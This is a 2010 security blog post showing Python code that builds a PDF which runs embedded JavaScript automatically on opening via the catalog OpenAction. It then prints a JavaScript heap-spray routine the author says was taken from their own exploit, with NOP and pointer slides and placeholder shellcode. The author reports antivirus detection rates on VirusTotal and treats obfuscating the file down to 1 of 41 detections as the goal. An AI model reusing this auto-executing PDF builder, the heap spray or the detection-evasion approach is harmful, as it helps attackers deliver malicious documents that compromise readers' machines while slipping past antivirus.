Reinventing the wheel again! Putting JS in a PDF with miniPDF.py

January 12, 2010


OK! Let’s reinvent the wheel and make a minimal pdf file containing javascript.

As stated in the PDF3200:12.6 specification we can put ACTIONS into pdf files. There are many type of actions like an action to jump to some part of the document(PDF3200:12.6.4.2, “Go-To Actions”) or to play a sound (PDF3200:12.6.4.8, “Sound Actions”) but also and maybe more interesting from the insecurity point of view… to execute javascript. That is PDF3200:12.6.4.16, “JavaScript Actions”.  (For a complete list of actions check 12.6.4 Action Types in the PDF3200)

Actions may be triggered by several ways (PDF3200:12.6.3 Trigger Events). Most of the visible objects of a pdf could be related to a trigger dictionary and execute actions when the mouse passes the area, on clicks, onload… etc.

The catalog dictionary also has a way to add this kind of trigger dictionaries. Basically we can use the /AA tag or the /Openaction tag in the root catalog to describe an action that will be executed when the doc is opened.

We can also put an /AA triggering dictionary to the 1st page or something alike, but lets got step by step in the most common (and detectable) way, the catalog OpenAction.

As in the earlier post first we import the lib and create a PDFDoc object representing a document in memory …

import sys
from miniPDF import *
#The document
doc = PDFDoc()

We don’t really need any content on our javascript-executing PDF.
We add an empty content for the dummy page,

#contents
contents= PDFStream(”’ ”’)

and the single dummy page,

page = PDFDict()
page.add(“Type”,PDFName(“Page”))
page.add(“Contents”, PDFRef(contents))

and the list of pages linking to our single dummy page.

pages = PDFDict()
pages.add(“Type”, PDFName(“Pages”))
pages.add(“Kids”, PDFArray([PDFRef(page)]))
pages.add(“Count”, PDFNum(1))

Then the root object! The catalog!

catalog = PDFDict()
catalog.add(“Type”, PDFName(“Catalog”))
catalog.add(“Pages”, PDFRef(pages))

Now save the intended javascript in a python variable …

#The js
try:
js = sys.argv[1]
except:
js = ”’app.alert(‘HOLA!’);”’

and prepare the javascript action dictionary using the provided script. In this case we’ll use a PDFString to hold the script, a filtered stream could be used also.

actionJS = PDFDict()
actionJS.add(“S”, PDFName(“JavaScript”))
actionJS.add(“JS”,PDFString(js))

Now set the catalog OpenAction tag to the js action, using a PDF reference.

catalog.add(“OpenAction”, PDFRef(actionJS))

OOps.. we haven’t added anything to the doc! Let’s add every indirect or root object to the doc.

doc.add([catalog,pages,page,contents,actionJS])
doc.setRoot(catalog)

And render it to the stdout…

#render it!
print doc

THAT’s it!! We’ve  just  generated a PDF document with autoexecutable JS in it !!!. Check it out here.

If for some reason you want to put the js in a stream instead in a string, change the action to something like this…

jsStream = PDFStream(js)
doc.add(jsStream)
actionJS = PDFDict()
actionJS.add(“S”, PDFName(“JavaScript”))
actionJS.add(“JS”,PDFRef(jsStream))

To run it ..

python mkJSPDF.py >test.pdf

You can download a test bundle here.

Let’s see what happens when we put some javascript bug or really explicit js heap spray into a PDF file and pass it through virustotal.com.

I tried some pure JS triggers I found out there like …


python mkJSPDF.py "media.newPlayer(null);" >test.pdf

but no AV seem to be catching those :(. So I put the following js that I used in one of my exploits :


var jmp = unescape("%u5858%u5858");
var nop = unescape("%u9090%u9090");
var pointersA = unescape("%u0f0f%u0f0f");
var pointersB = unescape("%u1616%u1616");
var pointersC = unescape("%u1c1c%u1c1c");
var shellcode = unescape("%ucccc%ucccc");
function mkSlice(str,size,rest){
while (str.length <= size/2)
str += str;
str = str.substring(0, size/2 -32/2 -4/2 - rest -2/2);
return str;
};
function spray(){
var i;
pointersA_slide=mkSlice(pointersA,0x100000, pointersA.length);
pointersB_slide=mkSlice(pointersB,0x100000, pointersB.length);
pointersC_slide=mkSlice(pointersC,0x100000, pointersC.length);
nop_slide = mkSlice(nop,0x100000, shellcode.length);
var x = new Array();
for (i = 0; i < 400; i++) {
if(i<100)
x[i] = pointersA_slide+pointersA;
else if(i<200)
x[i] = pointersB_slide+pointersB;
else if(i<300)
x[i] = pointersC_slide+pointersC;
else
x[i] = nop_slide+shellcode;
}
return x;
};
var mem;
mem = spray();
console.println("There are " + this.numPages + " in this document");
console.show();
this.pageNum++;

HOHO!! This is detected!! I got this result, 14 over 41 antivirus have detected it as a malicious PDF. Sadly that seems to be a pretty good score for the AVs. Anyway the game is to get the 0(cero) over 41 score so I gave a try to the obfuscated version of the miniPDF lib and got this result, 1 over 41 !!! Here you have the clean pdf and the obfuscated pdf I sent.

Also as a preview the raw obfuscation mini PDF lib is here.

f/

Advertisements

One Response to “Reinventing the wheel again! Putting JS in a PDF with miniPDF.py”

  1. spendersux said

    Good blog, great posts, keep continual and regular posts coming, very few such blogs with security exploitability as a core-subject exist anymore, keep it coming!

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: